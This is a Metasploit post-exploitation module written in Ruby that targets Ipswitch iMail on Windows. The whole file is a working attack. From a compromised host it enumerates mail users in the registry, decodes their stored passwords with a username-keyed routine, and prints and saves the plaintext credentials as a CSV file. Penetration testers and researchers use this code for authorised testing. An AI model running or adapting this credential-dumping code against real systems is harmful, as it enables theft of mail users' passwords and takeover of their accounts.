212 lines
5.1 KiB
Ruby
212 lines
5.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/registry'
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Windows Gather IPSwitch iMail User Data Enumeration",
|
|
'Description' => %q{
|
|
This module will collect iMail user data such as the username, domain,
|
|
full name, e-mail, and the decoded password. Please note if IMAILUSER is
|
|
specified, the module extracts user data from all the domains found. If
|
|
IMAILDOMAIN is specified, then it will extract all user data under that
|
|
particular category.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'sinn3r', #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['EDB', '11331'],
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('IMAILUSER', [false, 'iMail username', '']),
|
|
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
|
|
], self.class)
|
|
end
|
|
|
|
def download_info(imail_user='', imail_domain='')
|
|
base = "HKLM\\SOFTWARE\\Ipswitch\\IMail"
|
|
|
|
#Find domain(s)
|
|
users_subkey = []
|
|
if imail_domain.empty?
|
|
domains_key = registry_enumkeys("#{base}\\domains")
|
|
if not domains_key.nil?
|
|
domains_key.each do |domain_key|
|
|
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
|
|
end
|
|
end
|
|
else
|
|
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
|
|
end
|
|
|
|
#Find users
|
|
users_key = []
|
|
users_subkey.each do |user_key|
|
|
if imail_user.empty?
|
|
users = registry_enumkeys(user_key)
|
|
if not users.nil?
|
|
users.each do |user|
|
|
users_key << "#{user_key}\\#{user}"
|
|
end
|
|
end
|
|
else
|
|
users_key << "#{user_key}\\#{imail_user}"
|
|
end
|
|
end
|
|
|
|
#Get data for each user
|
|
users = []
|
|
users_key.each do |key|
|
|
#Filter out '_aliases'
|
|
next if key =~ /_aliases/
|
|
|
|
vprint_status("Grabbing key: #{key}")
|
|
|
|
domain = $1 if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
|
|
mail_addr = registry_getvaldata(key, 'MailAddr')
|
|
password = registry_getvaldata(key, 'Password')
|
|
full_name = registry_getvaldata(key, 'FullName')
|
|
username = $1 if mail_addr =~ /(.+)@.+/
|
|
|
|
#Hmm, I don't think this user exists, skip to the next one
|
|
next if mail_addr == nil
|
|
|
|
current_user =
|
|
{
|
|
:domain => domain,
|
|
:fullname => full_name,
|
|
:username => username,
|
|
:email => mail_addr,
|
|
:password => password,
|
|
}
|
|
|
|
users << current_user
|
|
end
|
|
|
|
return users
|
|
end
|
|
|
|
def decode_password(username='', enc_password='')
|
|
#No point trying to decode if there's no username or password
|
|
return "" if username.empty? or enc_password.empty?
|
|
|
|
counter = 0
|
|
password = ''
|
|
|
|
#Start decoding, what's up gold $$
|
|
0.step(enc_password.length-1, 2) do |i|
|
|
byte_1 = enc_password[i,1].unpack("C")[0]
|
|
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
|
|
byte_1 *= 16
|
|
|
|
byte_2 = enc_password[i+1,1].unpack("C")[0]
|
|
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
|
|
|
|
char = byte_1 + byte_2
|
|
|
|
counter = 0 if username.length <= counter
|
|
|
|
username_byte = username[counter, 1].unpack("C")[0]
|
|
if username_byte > 54 and username_byte < 90
|
|
username_byte += 32
|
|
end
|
|
|
|
char -= username_byte
|
|
counter += 1
|
|
password << char.chr
|
|
end
|
|
|
|
vprint_status("Password '#{enc_password}' = #{password}")
|
|
|
|
return password
|
|
end
|
|
|
|
def report(users)
|
|
credentials = Rex::Ui::Text::Table.new(
|
|
'Header' => 'Ipswitch iMail User Credentials',
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'User',
|
|
'Password',
|
|
'Domain',
|
|
'Full Name',
|
|
'E-mail'
|
|
]
|
|
)
|
|
|
|
users.each do |user|
|
|
domain = user[:domain]
|
|
username = user[:username]
|
|
password = user[:password]
|
|
full_name = user[:fullname]
|
|
e_mail = user[:email]
|
|
|
|
if datastore['VERBOSE']
|
|
text = ''
|
|
text << "User=#{username}, "
|
|
text << "Password=#{password}, "
|
|
text << "Domain=#{domain}, "
|
|
text << "Full Name=#{full_name}, "
|
|
text << "E-mail=#{e_mail}"
|
|
print_good(text)
|
|
end
|
|
|
|
credentials << [username, password, domain, full_name, e_mail]
|
|
end
|
|
|
|
print_status("Storing data...")
|
|
|
|
path = store_loot(
|
|
'imail.user.creds',
|
|
'text/csv',
|
|
session,
|
|
credentials.to_csv,
|
|
'imail_user_creds.csv',
|
|
'Ipswitch iMail user credentials'
|
|
)
|
|
|
|
print_status("User credentials saved in: #{path}")
|
|
end
|
|
|
|
def run
|
|
imail_user = datastore['IMAILUSER']
|
|
imail_domain = datastore['IMAILDOMAIN']
|
|
|
|
print_status("Download iMail user information...") if datastore['VERBOSE'] == false
|
|
|
|
#Download user data. If no user specified, we dump it all.
|
|
users = download_info(imail_user, imail_domain)
|
|
|
|
#Process fullname and decode password
|
|
users.each do |user|
|
|
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
|
|
user[:password] = decode_password(user[:username], user[:password])
|
|
end
|
|
|
|
#Report information and store it
|
|
report(users)
|
|
end
|
|
end
|